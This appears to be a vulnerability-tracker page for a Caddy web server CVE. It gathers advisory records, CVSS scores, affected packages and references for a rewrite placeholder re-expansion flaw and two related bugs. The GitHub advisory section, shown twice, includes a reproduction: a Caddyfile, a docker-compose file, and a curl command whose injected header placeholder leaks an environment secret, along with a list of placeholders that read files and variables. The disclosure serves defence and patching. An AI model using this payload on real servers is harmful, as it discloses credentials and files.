CVE-2026-77281
Caddy: rewrite placeholder re-expansion
Caddy is an extensible server platform that uses TLS by default. In version 2.11.3 and earlier, three configuration-dependent weaknesses affect the handler and placeholder layer. In modules/caddyhttp/rewrite/rewrite.go, Rewrite.Rewrite() can pass attacker-controlled replacement bytes through buildQueryString for a second placeholder expansion when a rewrite URI ends with a literal question mark, allowing injected environment or request-variable placeholders to disclose data and, when the file provider is registered, allowing injected file placeholders to disclose readable files. The issue is fixed in version 2.11.4.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- None
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
6.5
Caddy: rewrite placeholder re-expansion
Caddy is an extensible server platform that uses TLS by default. In version 2.11.3 and earlier, three configuration-dependent weaknesses affect the handler and placeholder layer. In modules/caddyhttp/rewrite/rewrite.go, Rewrite.Rewrite() can pass attacker-controlled replacement bytes through buildQueryString for a second placeholder expansion when a rewrite URI ends with a literal question mark, allowing injected environment or request-variable placeholders to disclose data and, when the file provider is registered, allowing injected file placeholders to disclose readable files. The issue is fixed in version 2.11.4.
- Record
CVE-2026-77281- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L - Weakness
- CWE-94, CWE-178, CWE-770
- Updated
- 2026-11-02
EUVDEUVD-2026-82474
6.5
Caddy is an extensible server platform that uses TLS by default. In version 2.11.3 and earlier, three configuration-dependent weaknesses affect the handler and placeholder layer. In modules/caddyhttp/rewrite/rewrite.go, Rewrite.Rewrite() can pass attacker-controlled replacement bytes through buildQueryString for a second placeholder expansion when a rewrite URI ends with a literal question mark, allowing injected environment or request-variable placeholders to disclose data and, when the file provider is registered, allowing injected file placeholders to disclose readable files. The issue is fixed in version 2.11.4.
- Record
EUVD-2026-82474- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-j8px-rmrx-76h9
6.5
Caddy: rewrite placeholder re-expansion, unbounded body buffer DoS, and fileHidden case-sensitivity bypass
Caddy v2.11.3 — Three vulnerabilities in handler/placeholder layer
Tested against: caddy:2.11.3 (official Docker image, SHA verified at runtime)
Reproduction environment: Docker Desktop 4.73.1 / Engine 29.4.3 on Windows 10 host, isolated containers, no network egress required for any of the exploits
This advisory bundles three independent issues discovered together during a source review of the placeholder/replacer layer. Each issue has been reproduced end-to-end against the unmodified caddy:2.11.3 image with the minimal Caddyfile that the documentation suggests for the affected feature.
Issue 1: Rewrite handler — placeholder double-expansion enables env var / file disclosure
File: modules/caddyhttp/rewrite/rewrite.go:215-249 and buildQueryString at 327
Class: CWE-94 (Code Injection), same bug class as CVE-2026-30852 (vars_regexp)
Severity: Low (requires operator config with trailing ? in rewrite URI)
Root cause
When the operator's rewrite URI template:
- Contains a placeholder that resolves to request data (e.g.
{http.request.header.X-Foo}), AND - Ends with a literal
?(with empty query side)
…then the bytes produced by the first Replacer pass (which include attacker-controlled header values) are fed through buildQueryString, which runs a second Replacer pass and resolves any placeholders the attacker injected.
// rewrite.go (abridged)
newPath = repl.ReplaceAll(path, "") // pass 1 — header expanded
if before, after, found := strings.Cut(newPath, "?"); found {
var injectedQuery string
newPath, injectedQuery = before, after
if query == "" { // trailing-? branch
query = injectedQuery // attacker bytes flow into 'query'
}
}
if query != "" {
newQuery = buildQueryString(query, repl) // pass 2 — RE-EXPANDS attacker input
}
This is the same gadget that was patched in vars_regexp (CVE-2026-30852). The fix did not extend to rewrite, and there is no equivalent regression test for it in rewrite_test.go (compare vars_test.go:63,69,75).
Reproduction (real Caddy 2.11.3)
Caddyfile:
{
admin off
auto_https off
}
:8080 {
rewrite * /serve/{http.request.header.X-Fwd}?
respond "PATH={path} QUERY={query}"
}
docker-compose.yml:
services:
caddy:
image: caddy:2.11.3
environment:
DATABASE_URL: "postgres://leaked:supersecret@dbserver/production"
ports: ["8080:8080"]
volumes: ["./Caddyfile:/etc/caddy/Caddyfile:ro"]
Exploit:
$ docker compose up -d
$ curl "http://localhost:8080/anything" -H "X-Fwd: foo?{env.DATABASE_URL}=leak"
PATH=/serve/foo QUERY=postgres%3A%2F%2Fleaked%3Asupersecret%40dbserver%2Fproduction=leak
URL-decoded query: postgres://leaked:supersecret@dbserver/production=leak. The DATABASE_URL env var has been exfiltrated into the request URL, where it will appear in access logs, get forwarded to upstreams via reverse_proxy, and be readable via {http.request.uri.query} in any downstream handler.
Available read primitives
The same gadget exposes any placeholder the attacker can name in their injected substring:
{env.X}— any env var on the Caddy process{file./path}— any file readable by the Caddy process (iffileprovider is registered){vars.X}— Caddy-internal request variables
Suggested fix (mirrors the CVE-2026-30852 patch)
After splitting at ?, sanitize placeholder syntax in the injected query before passing it to buildQueryString:
if before, after, found := strings.Cut(newPath, "?"); found {
var injectedQuery string
newPath, injectedQuery = before, after
if query == "" {
injectedQuery = strings.ReplaceAll(injectedQuery, "{", "%7B")
injectedQuery = strings.ReplaceAll(injectedQuery, "}", "%7D")
query = injectedQuery
}
}
Also recommend adding equivalent regression tests in…
- Record
GHSA-j8px-rmrx-76h9- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L - Weakness
- CWE-94, CWE-178, CWE-770
- Updated
- 2026-11-02
NVD
6.5
Caddy is an extensible server platform that uses TLS by default. In version 2.11.3 and earlier, three configuration-dependent weaknesses affect the handler and placeholder layer. In modules/caddyhttp/rewrite/rewrite.go, Rewrite.Rewrite() can pass attacker-controlled replacement bytes through buildQueryString for a second placeholder expansion when a rewrite URI ends with a literal question mark, allowing injected environment or request-variable placeholders to disclose data and, when the file provider is registered, allowing injected file placeholders to disclose readable files. The issue is fixed in version 2.11.4.
- Record
CVE-2026-77281- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L - Weakness
- CWE-94, CWE-178, CWE-770
- Updated
- 2026-11-02
OSV
6.5
Caddy: rewrite placeholder re-expansion
Caddy is an extensible server platform that uses TLS by default. In version 2.11.3 and earlier, three configuration-dependent weaknesses affect the handler and placeholder layer. In modules/caddyhttp/rewrite/rewrite.go, Rewrite.Rewrite() can pass attacker-controlled replacement bytes through buildQueryString for a second placeholder expansion when a rewrite URI ends with a literal question mark, allowing injected environment or request-variable placeholders to disclose data and, when the file provider is registered, allowing injected file placeholders to disclose readable files. The issue is fixed in version 2.11.4.
- Record
CVE-2026-77281- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L - Weakness
- CWE-178, CWE-770, CWE-94
- Updated
- 2026-11-02
OSVCVE-2026-92284
6.9
Caddy: Unbounded body buffer via {http.request.body} placeholder — memory exhaustion DoS
Caddy is an extensible server platform that uses TLS by default. In version 2.11.3 and earlier, in modules/caddyhttp/replacer.go, resolving http.request.body reads the complete request body with an unbounded io.Copy before request-body middleware limits apply, allowing memory exhaustion and process termination.
- Record
CVE-2026-92284- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N - Weakness
- CWE-770
- Updated
- 2026-11-02
Show 5 moreShow less
OSVCVE-2026-92700
6.3
Caddy: fileHidden() case-sensitive pattern bypass — exposes "hidden" files via case variation
Caddy is an extensible server platform that uses TLS by default. In version 2.11.3 and earlier, in modules/caddyhttp/fileserver/staticfiles.go, fileHidden() uses case-sensitive filepath.Match checks, so case variants can bypass hide rules on case-insensitive filesystems or when mixed-case paths coexist and expose files intended to be hidden.
- Record
CVE-2026-92700- CVSS 4.0
- 6.3 Medium
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-178
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-77281
6.5
Caddy is an extensible server platform that uses TLS by default. In version 2.11.3 and earlier, three configuration-dependent weaknesses affect the handler and placeholder layer. In modules/caddyhttp/rewrite/rewrite.go, Rewrite.Rewrite() can pass attacker-controlled replacement bytes through buildQueryString for a second placeholder expansion when a rewrite URI ends with a literal question mark, allowing injected environment or request-variable placeholders to disclose data and, when the file provider is registered, allowing injected file placeholders to disclose readable files. The issue is fixed in version 2.11.4.
- Record
DEBIAN-CVE-2026-77281- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L - Updated
- 2026-11-02
OSVGHSA-j8px-rmrx-76h9
6.5
Caddy: rewrite placeholder re-expansion, unbounded body buffer DoS, and fileHidden case-sensitivity bypass
Caddy v2.11.3 — Three vulnerabilities in handler/placeholder layer
Tested against: caddy:2.11.3 (official Docker image, SHA verified at runtime)
Reproduction environment: Docker Desktop 4.73.1 / Engine 29.4.3 on Windows 10 host, isolated containers, no network egress required for any of the exploits
This advisory bundles three independent issues discovered together during a source review of the placeholder/replacer layer. Each issue has been reproduced end-to-end against the unmodified caddy:2.11.3 image with the minimal Caddyfile that the documentation suggests for the affected feature.
Issue 1: Rewrite handler — placeholder double-expansion enables env var / file disclosure
File: modules/caddyhttp/rewrite/rewrite.go:215-249 and buildQueryString at 327
Class: CWE-94 (Code Injection), same bug class as CVE-2026-30852 (vars_regexp)
Severity: Low (requires operator config with trailing ? in rewrite URI)
Root cause
When the operator's rewrite URI template:
- Contains a placeholder that resolves to request data (e.g.
{http.request.header.X-Foo}), AND - Ends with a literal
?(with empty query side)
…then the bytes produced by the first Replacer pass (which include attacker-controlled header values) are fed through buildQueryString, which runs a second Replacer pass and resolves any placeholders the attacker injected.
// rewrite.go (abridged)
newPath = repl.ReplaceAll(path, "") // pass 1 — header expanded
if before, after, found := strings.Cut(newPath, "?"); found {
var injectedQuery string
newPath, injectedQuery = before, after
if query == "" { // trailing-? branch
query = injectedQuery // attacker bytes flow into 'query'
}
}
if query != "" {
newQuery = buildQueryString(query, repl) // pass 2 — RE-EXPANDS attacker input
}
This is the same gadget that was patched in vars_regexp (CVE-2026-30852). The fix did not extend to rewrite, and there is no equivalent regression test for it in rewrite_test.go (compare vars_test.go:63,69,75).
Reproduction (real Caddy 2.11.3)
Caddyfile:
{
admin off
auto_https off
}
:8080 {
rewrite * /serve/{http.request.header.X-Fwd}?
respond "PATH={path} QUERY={query}"
}
docker-compose.yml:
services:
caddy:
image: caddy:2.11.3
environment:
DATABASE_URL: "postgres://leaked:supersecret@dbserver/production"
ports: ["8080:8080"]
volumes: ["./Caddyfile:/etc/caddy/Caddyfile:ro"]
Exploit:
$ docker compose up -d
$ curl "http://localhost:8080/anything" -H "X-Fwd: foo?{env.DATABASE_URL}=leak"
PATH=/serve/foo QUERY=postgres%3A%2F%2Fleaked%3Asupersecret%40dbserver%2Fproduction=leak
URL-decoded query: postgres://leaked:supersecret@dbserver/production=leak. The DATABASE_URL env var has been exfiltrated into the request URL, where it will appear in access logs, get forwarded to upstreams via reverse_proxy, and be readable via {http.request.uri.query} in any downstream handler.
Available read primitives
The same gadget exposes any placeholder the attacker can name in their injected substring:
{env.X}— any env var on the Caddy process{file./path}— any file readable by the Caddy process (iffileprovider is registered){vars.X}— Caddy-internal request variables
Suggested fix (mirrors the CVE-2026-30852 patch)
After splitting at ?, sanitize placeholder syntax in the injected query before passing it to buildQueryString:
if before, after, found := strings.Cut(newPath, "?"); found {
var injectedQuery string
newPath, injectedQuery = before, after
if query == "" {
injectedQuery = strings.ReplaceAll(injectedQuery, "{", "%7B")
injectedQuery = strings.ReplaceAll(injectedQuery, "}", "%7D")
query = injectedQuery
}
}
Also recommend adding equivalent regression tests in…
- Record
GHSA-j8px-rmrx-76h9- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L - Weakness
- CWE-178, CWE-770, CWE-94
- Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-77281
6.5
Caddy is an extensible server platform that uses TLS by default. In version 2.11.3 and earlier, three configuration-dependent weaknesses affect the handler and placeholder layer. In modules/caddyhttp/rewrite/rewrite.go, Rewrite.Rewrite() can pass attacker-controlled replacement bytes through buildQueryString for a second placeholder expansion when a rewrite URI ends with a literal question mark, allowing injected environment or request-variable placeholders to disclose data and, when the file provider is registered, allowing injected file placeholders to disclose readable files. The issue is fixed in version 2.11.4.
- Record
UBUNTU-CVE-2026-77281- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L - Updated
- 2026-11-02
OSVGO-2026-6512 No score
Vulnerabilities in handler/placeholder layer in github.com/caddyserver/caddy
Rewrite placeholder re-expansion, unbounded body buffer DoS, and fileHidden case-sensitivity bypass in github.com/caddyserver/caddy
- Record
GO-2026-6512- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/caddyserver/caddy/v2Go |
through 2.11.3 | 2.11.4 |
caddyDebian:12 |
before 2.6.2-5+deb12u1, plus listed versions 2.6.2-5 |
2.6.2-5+deb12u1 |
caddyDebian:13 |
All versions, plus listed versions 2.11.2-12.11.2-1~bpo13+12.11.4-12.6.2-122.6.2-12+deb13u12.6.2-132.6.2-14 |
None known |
caddyDebian:14 |
before 2.11.4-1, plus listed versions 2.11.2-12.11.2-1~bpo13+12.6.2-122.6.2-132.6.2-14 |
2.11.4-1 |
github.com/caddyserver/caddy/v2Go From an advisory covering 3 CVEs |
before 2.11.4 | 2.11.4 |
caddyUbuntu:Pro:24.04:LTS |
All versions, plus listed versions 2.6.2-62.6.2-6ubuntu0.24.04.12.6.2-6ubuntu0.24.04.22.6.2-6ubuntu0.24.04.2+esm12.6.2-6ubuntu0.24.04.32.6.2-6ubuntu0.24.04.3+esm12.6.2-6ubuntu0.24.04.3+esm2 |
None known |
caddyUbuntu:Pro:26.04:LTS |
All versions, plus listed versions 2.6.2-122.6.2-142.6.2-14ubuntu0.26.04.1~esm1 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-77281 is a medium vulnerability (CVSS 6.5) in Caddyserver Caddy, published September 17, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.49%, the 42nd percentile. Fixed in github.com/caddyserver/caddy/v2 2.11.4.
References
github.com/caddyserver/caddy/security/advisories/GHSA-j8px-rmrx-76h9
github.com/caddyserver/caddy/pull/7761
github.com/caddyserver/caddy/commit/176b043b0104cee3f894023cd5a598ac29e404bb
github.com/caddyserver/caddy/releases/tag/v2.11.4
nvd.nist.gov/vuln/detail/CVE-2026-77281
github.com/advisories/GHSA-j8px-rmrx-76h9
Show 9 moreShow less
github.com/CVEProject/cvelistV5/tree/main/cves/2026/77xxx/CVE-2026-77281.json
github.com/CVEProject/cvelistV5/tree/main/cves/2026/92xxx/CVE-2026-92284.json
nvd.nist.gov/vuln/detail/CVE-2026-92284
github.com/CVEProject/cvelistV5/tree/main/cves/2026/92xxx/CVE-2026-92700.json
nvd.nist.gov/vuln/detail/CVE-2026-92700
security-tracker.debian.org/tracker/CVE-2026-77281
github.com/caddyserver/caddy
ubuntu.com/security/CVE-2026-77281
cve.org/CVERecord?id=CVE-2026-77281
Left out here: the rest of 2 source descriptions. The JSON record has them.